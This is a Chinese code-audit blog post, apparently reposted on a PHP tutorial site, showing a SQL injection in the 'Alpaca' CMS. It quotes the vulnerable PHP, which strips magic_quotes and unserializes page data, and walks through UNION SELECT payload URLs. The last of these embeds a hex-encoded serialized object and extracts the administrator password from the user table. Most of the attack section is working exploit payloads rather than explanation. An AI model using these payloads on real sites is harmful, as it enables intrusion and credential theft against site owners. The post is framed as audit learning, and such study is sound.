蛋碎一地的羊驼CMS sql injection & getShell

蛋碎一地的羊驼CMS sql injection & getShell - 网站安

来源：自学PHP网时间：2015-04-17 10:15 作者：阅读:次

[导读] 最近在研究代码审计,便去chinaz 找了个人气比较高的 cms,本文适合我等刚入门滴人士Ue批量查了一下源码整个系统都在注入注入额,单引号啊,还需要绕过,开gpc就惨了,然而,发现这个伟大的...

最近在研究代码审计,便去chinaz 找了个人气比较高的 cms,本文适合我等刚入门滴人士

Ue批量查了一下源码整个系统都在注入注入

额,单引号啊,还需要绕过,开gpc就惨了,然而,发现这个伟大的cms,竟然自动去除gpc …

// 去除Magic_Quotes 
if(get_magic_quotes_gpc()) // Maybe would be removed in php6 
{ 
function stripslashes_deep($value) 
{ 
$value = is_array($value) ? array_map('stripslashes_deep', $value) : (isset($value) ? stripslashes($value) : null); 
return $value; 
} 
$_POST = stripslashes_deep($_POST); 
$_GET = stripslashes_deep($_GET); 
$_COOKIE = stripslashes_deep($_COOKIE); 
}

前台开始注射

http://127.0.0.1/coder/alpaca/index.php/page/18/

对应的sql语句为

select count(*) as a from `elem` where 1 and rel_id=’18′

当我们提交

http://127.0.0.1/coder/alpaca/index.php/page/a’

sql语句

select * from `elem` where 1 and lower(elem_name) = lower(‘a”)

这里是一个经典的联合查询本来还在想怎么绕过gpc的没想到自动去除鸟

直接提交

http://127.0.0.1/coder/alpaca/index.php/page/a’) AND 1 =2 UNION SELECT 1 ,2,3, 4,5,6, 7, 8, 9,username,PASSWORD FROM user %23

发现什么都木有

看源码 app\v\elem\page.php 其实里面很多源码还是写的很巧妙的

if(!is_array($page)) show_404(); 
    $pid = $page['id']; 
 
    if( $action == 'add' ) { 
      $this->add($pid); 
      return; 
    } 
 
    $info = unserialize($page['elem_info']); 
    $meta = array( 
      'page_title' => isset($info['page_title'])&&$info['page_title']!=''?$info['page_title']:$page['title'], 
      'meta_keywords' => isset($info['meta_keywords'])&&$info['meta_keywords']!=''?$info['meta_keywords']:$page['title'], 
      'meta_description' => isset($info['meta_description'])&&$info['meta_description']!=''?$info['meta_description']:$page['title'] 
    ); 
  $param = array_merge($page , $info , $meta  );

需要一个$page['elem_info'] 那我就在六号位写一个仿照官方的 elem_info (十六进制)

得到 exp

http://127.0.0.1/coder/alpaca/index.php/page/a') AND 1 =2 UNION SELECT 18,PASSWORD ,'page',10,1,0x613A31353A7B733A353A226D6F64656C223B733A313A2238223B733A333A22706963223B733A37303A22687474703A2F2F79752E6232342F616C70616361332E312F757066696C652F696D6167652F32303132303432312F32303132303432313030303135315F34363936352E6A7067223B733A353A227072696365223B733A333A22333030223B733A373A22636F6E74656E74223B733A303A22223B733A31303A22706167655F7469746C65223B733A303A22223B733A31333A226D6574615F6B6579776F726473223B733A303A22223B733A31363A226D6574615F6465736372697074696F6E223B733A303A22223B733A383A2274656D706C617465223B733A313A2230223B733A363A226C61796F7574223B733A313A2239223B733A393A22706167655F73697A65223B733A323A223230223B733A31343A226368696C645F74656D706C617465223B733A313A2230223B733A31323A226368696C645F6C61796F7574223B733A313A2232223B733A31313A226368696C645F6D6F64656C223B733A313A2231223B733A31313A22757365725F62726F777365223B733A313A2230223B733A383A22757365725F616464223B733A323A223130223B7D, 7, "1334937721","1334937721", 10,11 FROM user %23/

成功爆出管理员密码

三种方式实现web站点安全 - 网站安全 - 自学php

http站点访问安全案例 - 网站安全 - 自学php

子栏目

蛋碎一地的羊驼CMS sql injection & getShell - 网站安

最新评论

添加评论

更多文章推荐

添加评论